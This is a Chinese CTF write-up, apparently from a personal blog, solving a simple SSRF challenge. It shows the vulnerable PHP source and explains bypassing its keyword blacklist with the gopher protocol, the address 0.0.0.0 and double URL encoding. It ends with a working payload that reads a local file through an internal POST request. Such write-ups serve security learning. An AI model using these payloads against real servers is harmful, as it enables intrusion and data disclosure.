刷题笔记-简单的SSRF


前言

[SSRF|gopher]

群里看到的题

<?php 
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
if(preg_match('/127.0.0.1|dict|file|ftp|ftps|https/',$url)){
  die('想都别想');
}//flag.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
echo $output;
curl_close($ch);

题解

直接访问flag.php,显然需要SSRF

这里需要利用gopher协议。

首先随便访问下flag.php,抓个包。删掉没用的请求头,注意最后要留两个\r\n

CyberChef手操

然后开CyberChef。

需要先将\n替换成\r\n,因为复制下来默认都是\n

再进行两次urlencode,因为gopher会urldecode一次,curl又会urldecode一次。

gopher://0.0.0.0:80/_GET%2520/flag.php%2520HTTP/1.1%250D%250AHost:%25200.0.0.0%250D%250A%250D%250A

再去访问,拿到源码,后续一致

扔到CyberChef里

注意,因为检测file,所以对file中的e再进行两次urlencode

最终payload

gopher://0.0.0.0:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%25200.0.0.0%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252011%250D%250A%250D%250Afil%2565s=/flag

BurpSuite一键

其实也可以在bp里直接进行两次URL-encode all characters

然后直接打!


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录